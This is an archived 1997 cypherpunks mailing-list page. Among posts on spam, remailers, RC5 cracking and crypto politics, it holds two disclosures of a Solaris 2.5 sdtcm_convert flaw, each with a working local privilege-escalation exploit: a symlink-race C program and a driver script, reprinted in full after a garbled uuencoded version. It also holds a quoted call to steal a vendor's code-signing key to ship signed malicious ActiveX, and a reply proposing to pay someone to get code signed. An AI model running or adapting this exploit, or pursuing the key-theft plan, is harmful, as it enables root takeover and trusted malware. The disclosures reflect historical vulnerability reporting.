December 2003 - cypherpunks-legacy

Re: Photos Digitized and Theyre Done Dirt Cheap!
by Evan Platt (IN3501) 17 Dec '03

17 Dec '03

Attn: you fell victim to this persons abuse of Internet E-Mail. You can help stop him by doing two things: 1. do NOT use his service. Find somewhere else to get photos scanned. 2. Forward a COMPLETE copy of his message with all headers intact to postmaster@aol.com,abuse@aol.com,tosadvisor@aol.com,stevecase@aol.com,root@a ol.com This will make sure that AOL knows you do NOT want to receive this persons crap, and they will shut down his account. Thank you for listening, and help stop SPAM! At 01:26 PM 2/21/97 -0500, Bulkyman(a)aol.com wrote: >Photos Digitized and Theyre Done Dirt Cheap!

1 0

Security hole in Solaris 2.5 (sdtcm_convert) + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Sat Feb 22 15:25:48 EET 1997 Romania Another hole in Solaris I have found a security hole in sdtcm_convert on Solaris 2.5.1. sdtcm_convert - calendar data conversion utility - allows any user to change the owner for any file (or directory) from the system or gain root access. The exploit is very simple. Change the permision mode of your calendar file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run sdtcm_convert. sdtcm_convert 'll observe the change and 'll want to correct it (it 'll ask you first). You have only to delete the callog file and make a symbolic link to a target file and your calendar file and said to sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target file ... A simple way to correct this is to get out suid_exec bit from sdtcm_convert I made an exploit, so you have to extract the text, uudecode it, and exec a 'tar -xf exploit.tar'. You'll get the files in exploit_dir. Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro skipo(a)sundy.cs.pub.ro skipo(a)ns.ima.ro Phone: (401) 410.60.88 begin 600 exploit.tar M97AP;&]I=%]D:7(O4D5!1$U% M M # Q,# V,# ,# P,#0V, P,# P-#4W # P,# P,# Q,#(Q M # V,S S-3<Q,3<W # P,30U-#( , M M !U<W1A<@ P,'-K:7!O M <W1U9#, M P,# P,#0P # P,# R,#< M M M M J2&]W('1O(&UA:V4@82!S:6UP;&4@8V%L;&]G M(&9I;&4J"@I)9B!Y;W4@9&]N="!H879E(&$@+W9A<B]S<&]O;"]C86QE;F1A M<B]C86QL;V<N64]5(&5D:70@8V%L;&]G+F5X86UP;&4L"G)E<&QA8V4@)W-K M:7!O)R!W:71H('EO=7(@=7-E<B!N86UE(&%N9" G<W5N9'DN8W,N<'5B+G)O M)R!W:71H('EO=7(*;6%C:&EN92!N86UE("AT<GD@9FER<W0@=&AE('-H;W)T M(&YA;64L(&5X86UP;&4Z('-U;F1Y(&%N9"!I9B!Y;W4G;&P@:&%V90IT<F]U M8FQE<VAO=&EN9W,@=')Y('1H92!L;VYG(&YA;64L(&5X86UP;&4@<W5N9'DN M8W,N<'5B+G)O*2X@069T97(@=&AA= IC;W!Y('1H92!N97<@8V%L;&]G(&9I M;&4@:6X@+W9A<B]S<&]O;"]C86QE;F1A<B]C86QL;V<N64]54E]54T527TY! M344L(')U;@IO;F-E('-D=&-M7V-O;G9E<G0@=VET:"!Y;W5R('5S97(@;F%M M92 H97AA;7!L92!S9'1C;5]C;VYV97)T('-K:7!O*0IA;F0@=V%I="!F;W(@ M8V]R<F5C=&EO;G,N($YO=R!Y;W4@87)E(')E861Y('1O(')U;B!T:&4@97AP M;&]I="X* M M M M M M M M M M M 97AP;&]I=%]D:7(O8V%L;&]G+F5X86UP;&4 M M # Q,# W,# ,# P,#0V, P,# P-#4W # P,# P M,# Q,S(P # V,S S-38W-#0T # P,38U,#4 , M M !U<W1A<@ P M,'-K:7!O <W1U9#, M P,# P,#0P # P,# R,#< M M M M !697)S:6]N.B T"BHJ*BH@<W1A<G0@ M;V8@;&]G(&]N($9R:2!$96,@(#8@,30Z,#<Z-#,@,3DY-B J*BHJ"@HH8V%L M96YD87)A='1R:6)U=&5S("@B+2\O6$%024$O0U-!+T-!3$%45%(O+TY/3E-' M34P@06-C97-S($QI<W0O+T5.(BPB,3 Z86-C97-S7VQI<W0B+")W;W)L9#HR M(BD**"(M+R]805!)02]#4T$O0T%,05144B\O3D].4T=-3"!#86QE;F1A<B!. M86UE+R]%3B(L(C4Z<W1R:6YG(BPB<VMI<&] <W5N9'DN8W,N<'5B+G)O(BD* M*"(M+R]805!)02]#4T$O0T%,05144B\O3D].4T=-3"!#86QE;F1A<B!/=VYE M<B\O14XB+"(V.G5S97(B+")S:VEP;T!S=6YD>2YC<RYP=6(N<F\B*0HH(BTO M+UA!4$E!+T-302]#04Q!5%12+R].3TY31TU,($-H87)A8W1E<B!3970O+T5. M(BPB-3IS=')I;F<B+")#+DE33RTX.#4Y+3$B*0HH(BTO+UA!4$E!+T-302]# M04Q!5%12+R].3TY31TU,($1A=&4@0W)E871E9"\O14XB+"(W.F1A=&5?=&EM M92(L(C$Y.38Q,C V5#$R,#<T,UHB*0HH(BTO+UA!4$E!+T-302]#04Q!5%12 M+R].3TY31TU,(%!R;V1U8W0@261E;G1I9FEE<B\O14XB+"(U.G-T<FEN9R(L M(BTO+T14+R].3TY31TU,($-A;&5N9&%R(%!R;V1U8W0@5F5R<VEO;B Q+R]% M3B(I"B@B+2\O6$%024$O0U-!+T-!3$%45%(O+TY/3E-'34P@5F5R<VEO;B\O M14XB+"(U.G-T<FEN9R(L(BTO+UA!4$E!+T-302]615)324].,2].3TY31TU, M($-302!697)S:6]N(#$O+T5.(BD**0H M M M M M M M 97AP;&]I=%]D:7(O;W)A;F=E+F, M M # Q,# V,# ,# P,#0V, P,# P-#4W M # P,# P,# Q,C0V # V,S S-38W,S(R # P,34S,#< , M M !U M<W1A<@ P,'-K:7!O <W1U9#, M P,# P,#0P # P,# R,#< M M M M C:6YC;'5D92 \<W1D:6\N M:#X*(VEN8VQU9&4@/'-Y<R]T>7!E<RYH/@HC:6YC;'5D92 \<WES+W-T870N M:#X*(VEN8VQU9&4@/'5N:7-T9"YH/@H*(V1E9FEN92!P871H(" B+W9A<B]S M<&]O;"]C86QE;F1A<B]C86QL;V<N(@H*"G9O:60@;6%I;BAI;G0@87)G8RP@ M8VAA<B J87)G=EM=*0I["FEN="!P:60L9FEL961E<ULR73L*1DE,12 J9CL* M<W1R=6-T('-T870@:6YF;SL*;&]N9R!I.PIC:&%R('1A<F=E=%LQ,CA=+'-H M:69T6S$R.%T["@D*"7-T<F-P>2AT87)G970L87)G=ELQ72D["@ES=')C<'DH M<VAI9G0L<&%T:"D["@ES=')C870H<VAI9G0L87)G=ELR72D["@EI9BAP:7!E M*&9I;&5D97,I*0H)>PH)"7!E<G)O<B@B8V%N="!C<F%T92!P:7!E7&XB*3L* M"0EE>&ET*# I.PH)?0D*"6EF*'!I9#UF;W)K*"D]/3 I"@E["@D)9F]R*&D] M,#MI/#,P,# P,# P.VDK*RD["@D)=6YL:6YK*'-H:69T*3L*"0ES>6UL:6YK M*'1A<F=E="QS:&EF="D["@D)=W)I=&4H9FEL961E<ULQ72PB>5QN(BQS:7IE M;V8H(GE<;B(I*3L*"7T)"0D)"@EE;'-E( H)>PH)"6-L;W-E*# I.PH)"61U M<"AF:6QE9&5S6S!=*3L*"0ES>7-T96TH(FQE;6]N(BD["@D)<W1A="AT87)G M970L)FEN9F\I.PH)"6EF*&EN9F\N<W1?=6ED/3UG971U:60H*2D@<')I;G1F M*")#3TQ,($D@9&ED($E4("$A(5QN(BD["@E]"@D*?0H M M M M M M M M 97AP;&]I=%]D:7(O=&AE9FER<W0 M M # Q,# W,# ,# P,#0V, P M,# P-#4W # P,# P,# P-S0W # V,S S-38W,S,R # P,34T-3( , M M M !U<W1A<@ P,'-K:7!O M<W1U9#, P,# P,#0P # P,# R M,#< M M M O8FEN+V5C:&\@ M(F]R86YG92YC("T^(&]R86YG92(*9V-C("UO(&]R86YG92!O<F%N9V4N8PH* M+W5S<B]U8V(O=VAO86UI(#X@=V@*<F5A9"!54T52(#P@+B]W: H*(W=A=&-H M:6YG(&9O<B!C86QL;V<@9FEL92!I9B!I="!I<VYT('=I;&P@<W1O< II9B A M('1E<W0@+68@+W9A<B]S<&]O;"]C86QE;F1A<B]C86QL;V<N)%5315([('1H M96X*(" O8FEN+V5C:&\@(DD@8V%N="!F;W5N9"!C86QL;V<@9FEL92X@4&QE M87-E(')E860@4D5!1$U%(&%N9"!C<F5A=&4@:70B"B @97AI=#L*9FD*"B]B M:6XO96-H;R B=VAA="=S('1H92!T87)G970@/S\_(@IR96%D(%1!4D=%5 H* M+V)I;B]E8VAO("]B:6XO8VAM;V0@,# P("]V87(O<W!O;VPO8V%L96YD87(O M8V%L;&]G+B154T52(#YL96UO;@HO8FEN+V5C:&\@+W5S<B]D="]B:6XO<V1T M8VU?8V]N=F5R=" D55-%4B ^/FQE;6]N"B]B:6XO8VAM;V0@-S P("XO;&5M M;VX*"BXO;W)A;F=E("1405)'150@)%5315(* M M M M M M M M M M M M M M M M M M M M M M I end

3 2

Re: DES Crack Hype
by earle＠zero.genx.net 17 Dec '03

17 Dec '03

# > > > For instance, New Media Laboratories provides no source code for their # > > > software, nor any type of documentation to track what it 'should' be # > > > doing vs. what it 'is' doing. # > > # > > I had no difficulty obtaining source from them for benchmarking/porting # > > reasons. I do freely admit that there is a lack of documentation. Let's clear a few things up right off the bat here. This whole thing was done strictly out of complete boredom with the participation of a small group of people, mainly online friends. Needless to say it has grown at a seemingly exponential rate, putting us somewhere in the ballpark of having a "real shot" at this. Source code was initially released on a very early version of the RC5-client, after a half dozen or so rogue clients started up, we decided to quickly strop distributing source code until the whole client->server protocol could be devised "the right way".. Source code for "current" client will be released as well, hopefully very soon now. Well documentation for what it is doing? It's uh, doing some math or something; that's retarded. Documentation for running? Well, I suppose anyone unfamiliar with normal ``man(1)'' style syntaxing would find it cryptic at best, but it should be fairly straight forward. Now that there actually seems to be extensive participation in this, we're doing a FAQ on the website. Hopefully this will alleviate alot of this. # > I have had no difficulty in obtaining silence in response to my # > email regarding New Media Labaoratories and their software. # > When I received your post, I was on the verge of deciding that their # > silence was an indication that they wanted me to consider myself their # > official spokesperson. # > That would have been fun. Generally I dont waste my time dealing with such ludicrous issues. You people should all realize, that no matter what you do, no matter how you do it, as soon as it hit's mailing lists or newsgroups, someone has opinions about it, as well as "a better way of doing it". Well whatever, it's all just a monumental waste of bandwidth. # > # > > > It reports results which are obviously # > > > in error, and there is no way to divine the source or cause of those # > > > false results. If you are speaking of the website statistics, well I'm not even going to get involved in this. I'm working on "doing it right" as time permits. I didnt have much to do with the one that is up there now. # > # > However, I am referring to the stats that I get on my own machine after # > the keys have been 'checked'. I had one message telling me, "Keyspace # > exhausted in 243.12 minutes." The only problem is that it actually took # > slightly under an hour. If it is wrong about the time, then how can I # > be expected to believe that it is right about the keys being checked? This is due to the fact that you have a bum client :) New clients, (all compiles are being verified by me before put online) are becomming available now. Proxies for all of the platforms we're supporting will be available too; caching proxies underway as well. The vast majority of the initial clients were not ported by my me. # > > A second generation of key serv statistics reporting with wiz-bang # > > graphics and other cool crap can be expected by the end of this # > > weekend. Uh, terrific. # > # > This is precisely my point. None of the people that are running these # > programs on our machines have any way of knowing just exactly what is # > taking place here. # > <crap deleted> I'm getting more and more distressed about this utter waste of bandwidth the further down I get here. I will put specifics on how the server assigns keyspace onto the website in due time. Frankly, I do not expect, or care, to be the one to break this key. I in no way, shape or form, give unfair advantages to any of the participants. Keys are assigned, they are not ranked and assigned based on any preference whatsoever. This is pretty ridiculous. # > # > I was impressed with the genx homepage and the number of platforms to # > which the software had been ported. The software itself was ported to # > Win95 with at least enough competence to do 'something', as opposed to # > requiring me to reinvent the wheel in order to get it to run. # > But I still don't know what it does, in fact, do, or if I am just # > pissing in the wind by running it. (Or if it was written by the same # > guys who killed Kennedy). # > # > So, although I appreciate your efforts, until I find a basis for # > deciding otherwise, I will be using the Orange Crayola to connect # > you on my chart to the bad-guys on the X Files. The client allows you to participate in the RC5-56 contest (at no unfair advantage or disadvantage). That is the bottom line. If you wish to participate, we'd greatly welcome any instructions you can spare. If you don't, that's fine too, best of luck. earle.

2 2

Re: It is time to break Authenticode
by jim bell 17 Dec '03

17 Dec '03

At 08:09 PM 2/23/97 -0500, lucifer Anonymous Remailer wrote: >Microsoft's recent arrogant and irresponsible reply to the Chaos >Computer Club hack on ActiveX requires response. An effective response >would be to steal the key of a major code signer and produce a signed, >malicious ActiveX control. Such an attack would demonstrate the >serious problems of Microsoft's security philosophy. > [trim] > >The best avenue of attack is stealing the secret key of a respected >code signer. The target should be one of the major players, if not >Microsoft itself. Someone is sloppy to store their secret key on a >machine hooked to the Internet. Stealing it would be a very nice >challenge. It should be doable. I can think of an easier way. If the goal is simply to demonstrate that the system can be broken, how about offering a not-insignificant amount of money to anonymous person who manages to successfully get code signed? No exposure is necessary, just the signature done once. Jim Bell jimbell(a)pacifier.com

1 0

Tap in to You Income Potential
by get.a.life＠worldnet.att.net 17 Dec '03

17 Dec '03

Tap in to your own income potential and Make a Change for Life! Why this Company? * It answers the criteria established by both the Harvard Business School and the Kiplinger Personal Finance Magazine. * It has been in business more than four years. Their products trigger an emotional response, are consumable, and have been exposed to less thatn 1% of the population in the U.S. The products are reasonably priced, easy to use and unique to the marketplace. The company offers a 30 day money-back guarantee. The products are in the explosive industries of health, weight management, nutrition, personal-care and telecommunications. * It is approaching the stage of critical mass. Getting involved with the company at this stage of momentum puts you in a position of substantial growth. * The company is debt free. It is a family-owned business dedicated to long-term growth. It is also a product driven company. Your income will be driven by retail sales and repeat business. * You have the opportunity to earn income on up to sex levels deep as a Qualified Director. Please take the time to visit the corporate home page at http://www.eola.com/. Then give me a call or send me an e-mail to ask questions, to purchase products at retail or wholesale prices, or to set up your own distributorship. I look forware to hearing from you, Neda Hatcher E'OLA Products Independent Distributor get.a.life(a)woldnet.att.net MasterCard and VISA accepted! (318)688-2517 msg002

1 0

Dark Times Ahead
by Pan D.Modium 17 Dec '03

17 Dec '03

Predictions for the Year 1. Encryption without "Key Escrow" will be outlawed. The remailer network will be shutdown following highly public raids that result in equipment seizures and prosecution of the remailer operators using RICO statutes after agents provocateur post terrorist threats to the Internet. 2. Tobacco companies will cave in to the states on liability for medical costs and declare bankruptcy. The few remaining small companies not party to the suits will see themselves targeted after prices on a pack of cigarettes rises to 1000% of the current price. Two years from now, cigarettes will be almost impossible to get and result in smuggling on a scale that dwarfs cocaine and marijuana trafficing. 3. The NSA's prohibition on domestic surveillance will be lifted following allegations of massive money laundering via the Internet and rumors that major American banks have been raided via the net by Russian mafia. 4. The IRS will go to court to force the National Rifle Association to turn over its membership lists as the agency audits the books of the non-profit organization. After obtaining the lists, the IRS will target the members for special auditing programs. 5. The FBI will direct the implementation of the Digital Telephony Act after Congress finally caves in and provides the funding. A new protocol for wiretapping will be implemented as provided for in the Act that does not allow for judicial review. 6. The Supreme Court will surprise everyone by upholding the Communications Decency Act in a 5-4 decision. The FBI will stage widely publicized raids on the most visible adult web sites. Pan D. Modium pandemodium(a)nym.alias.net "May you live in interesting times." -- ancient Chinese curse

3 2

Low-Risk Remailer Proposal
by Sergey Goldgaber 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I would like to propose that persons wishing to run remailers but concerned about possible political reprecussions institute a policy of remailing only to other remailers. This would increase the total number of remailers, and decrease the chances that all or most of the available remailers are compromised. ............................................................................ . Sergey Goldgaber <sergey(a)el.net> System Administrator el Net . ............................................................................ . The path of least resistance leads to mediocrity. . ............................................................................ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: http://www.efh.org/pgp/pgpwork.html explains this signature. iQCVAwUBMw+7PMgbnd/MibbZAQFbOQQAo95fuNed1BF8wyDd0cut1yNrksg+kX3S uW8YbnLHPZI4lctrSxs99L75Y1yxK3Q2+jijeWevnf9qfzIAItAEzxbANIFdoiZo yYhoz/DdUvLepDPZc1t4owuNFcVs6EEBg++FrUxPsShp2SUGEOJ4yRO4p9lkTVkM 5mUBCGtJngo= =UlcG -----END PGP SIGNATURE-----

1 0

Re: Dark Times Ahead
by mpd＠netcom.com 17 Dec '03

17 Dec '03

Timothy C. May writes: > Oh? And will the First Amendment then be repealed? > "Congress shall make no law respecting the establishment of speech or > prohibiting the free exercise thereof" seems rather clear: Congress cannot > insist that a particular form of speech be used to the exclusion of others. > A ban on coding messages, speaking in languages unintelligible to > wiretappers, etc., would quite clearly be thrown out on First Amendment > grounds, from everything I know of the Supreme Court and its reasoning. The Supremes can bypass the First Ammendment anytime they choose by simply mumbling something about "society's overwhelming interest in protecting itself." Indeed, the plethora of regulation against various forms of "bad" speech concerning children and their sexuality is the clearest example of this, with the Knox "clothed child porn" decision, and the recent Hatch nonsense making any suggestion of underage sexual activity illegal, regardless of whether underaged models were involved in its production. I expect textual material will be outlawed in a few years as well, as a "loophole" in the current laws, since real children no longer have to be associated with such material in order for it to be deemed harmful. Once that happens, a whole bunch of other things will probably be outlawed shortly thereafter, the criteria being that they are certainly as dangerous as an illicit copy of "Aunt Sue and the Horny Paperboy." Expect bombmaking instructions, anti-government tracts, cryptography, and most Loompanics books to be included here. > And so on. Banning unescrowed cryptography would result in the Mother of > all Constitutional challenges, and would, I am sure, result in such a ban > being declared unconstitutional. If throwing Alice in jail because she used > a form of speech unacceptable to the rulers is not a violation of the > First, nothing is. The frog is nearly boiled. If the Mother of all Constitutional Challenges hasn't happened by now, it isn't going to. This is a country that throws grad students in prison for possessing films of young girls doing gymnastics. What makes you think unescrowed cryptography has some special hallowed status? The First Ammendment is useless, as there are clear counterexamples to unlimited free speech. That makes it a matter of interpretation, and the courts will interpret it according to the existing level of public hysteria. The Fourth Ammendment only guarantees us "due process." We do not, as some countries do, have a strong privacy provision written into our Constitution. I have always held that a well-written privacy provision keeping the government out of peoples homes and personal possessions is worth ten First Ammendments. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd(a)netcom.com $ via Finger. $

1 0

Exploit for sdtcm_convert - Solaris 2.5 - second
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Sun Feb 23 10:36:58 EET 1997 Romania "Exploit for sdtcm_convert - Solaris 2.5" I send you an e-mail about a bug and an exploit for sdtcm_convert. (sdtcm_convert allows you to become owner of any file or directory from the system - and gain root access ) First, there was some problems with my uuencoded exploit (some damaged it on the route...) so i'll resend you the files for exploit. Second, Casper Dick send me: >Is this the bug fixed in the Sun patches: >103670-02: CDE 1.0.2: sdtcm_convert has a security vulnerability >103671-02: CDE 1.0.1: sdtcm_convert has a security vulnerability >103717-02: CDE 1.0.2: sdtcm_convert has a security vulnerability (x86 version) >103718-02: CDE 1.0.1: sdtcm_convert has a security vulnerability (x86 version) >or is it a new one? >Casper I cant found this patches to verify if that fix the problem i have found or not. Anyway you have an exploit ! (execute 'thefist' and wait) Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro skipo(a)sundy.cs.pub.ro skipo(a)ns.ima.ro Phone: (401) 410.60.88 ------------------------- file thefirst ------------------------------------ /bin/echo "orange.c -> orange" gcc -o orange orange.c /usr/ucb/whoami > wh read USER < ./wh #watching for callog file if it isnt will stop if ! test -f /var/spool/calendar/callog.$USER; then /bin/echo "I cant found callog file. Please read README and create it" exit; fi /bin/echo "what's the target ???" read TARGET /bin/echo /bin/chmod 000 /var/spool/calendar/callog.$USER >lemon /bin/echo /usr/dt/bin/sdtcm_convert $USER >>lemon /bin/chmod 700 ./lemon ./orange $TARGET $USER ------------------------- end -------------------------- ------------------------ file orange.c --------------------------- #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #define path "/var/spool/calendar/callog." void main(int argc, char *argv[]) { int pid,filedes[2]; FILE *f; struct stat info; long i; char target[128],shift[128]; strcpy(target,argv[1]); strcpy(shift,path); strcat(shift,argv[2]); if(pipe(filedes)) { perror("cant crate pipe\n"); exit(0); } if(pid=fork()==0) { for(i=0;i<30000000;i++); unlink(shift); symlink(target,shift); write(filedes[1],"y\n",sizeof("y\n")); } else { close(0); dup(filedes[0]); system("lemon"); stat(target,&info); if(info.st_uid==getuid()) printf("COLL I did IT !!!\n"); } } ------------------------ end ---------------------------- ------------------------ file README ---------------------- *How to make a simple callog file* If you dont have a /var/spool/calendar/callog.YOU edit callog.example, replace 'skipo' with your user name and 'sundy.cs.pub.ro' with your machine name (try first the short name, example: sundy and if you'll have troubleshotings try the long name, example sundy.cs.pub.ro). After that copy the new callog file in /var/spool/calendar/callog.YOUR_USER_NAME, run once sdtcm_convert with your user name (example sdtcm_convert skipo) and wait for corrections. Now you are ready to run the exploit. Another way is to run calendar tool from CDE. ------------------------- end ------------------------------- ------------------------ file callog.example ------------------------ Version: 4 **** start of log on Fri Dec 6 14:07:43 1996 **** (calendarattributes ("-//XAPIA/CSA/CALATTR//NONSGML Access List//EN","10:access_list","world:2") ("-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN","5:string","skipo(a)sundy.cs.pub.ro") ("-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN","6:user","skipo(a)sundy.cs.pub.ro") ("-//XAPIA/CSA/CALATTR//NONSGML Character Set//EN","5:string","C.ISO-8859-1") ("-//XAPIA/CSA/CALATTR//NONSGML Date Created//EN","7:date_time","19961206T120743Z") ("-//XAPIA/CSA/CALATTR//NONSGML Product Identifier//EN","5:string","-//DT//NONSGML Calendar Product Version 1//EN") ("-//XAPIA/CSA/CALATTR//NONSGML Version//EN","5:string","-//XAPIA/CSA/VERSION1/NONSGML CSA Version 1//EN") ) -------------------------- end --------------------------------

1 0

Re: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
by Sean Roach 17 Dec '03

17 Dec '03

At 03:16 PM 2/21/97 -0500, Robert Hettinga wrote: >--- begin forwarded text ... >This symposium will consider a wide range of issues, including: > >**Differences in determining the electronic commerce income >tax base. Should source or residence rules be used, or should >some form of formulary apportionment be applied? > >**Problems in imposing retail sales taxes on electronic sales. >Should traditional nexus rules apply? > >**Problems in determining the value added by electronic >commercial inputs. Should a tax be determined based on the >'bits' of information? If so, should each 'bit' be valued the >same? > >**Problems involving the harmonization of tax rules. >International and sub-national aspects of this problem will be >considered. OECD efforts in this area will be contrasted with >proposed uniform state legislation in the US. > >**Throughout the symposium the impact that these tax decisions >will have on cross-border investment decisions will be a primary >concern. ... "Toll" tax. If each packet were "taxed" as it entered a system, and due to the nature of the internet, when traffic increases in certain areas, prices would go up, driving activity back down, then each area could "tax" what it wanted. The only real problem would be how to get people to pay. Unlike the toll booth at the entrance to a turnpike, internet users don't keep exact change. There is no window to roll down to hand the attendant the money, there is no accepted currency to hand the attendant either. Taxation can't really begin until e-cash equipped browsers are common. Plus, executables are fairly large, while text files tend to be small, adding a bias against executables, images, and audio files. In addition, since the packets have to originate from somewhere, the location of the poster would get to tax at least. Of course, if such a system were not mandatory in a region, then "freenets" would get a whole new meaning.

1 0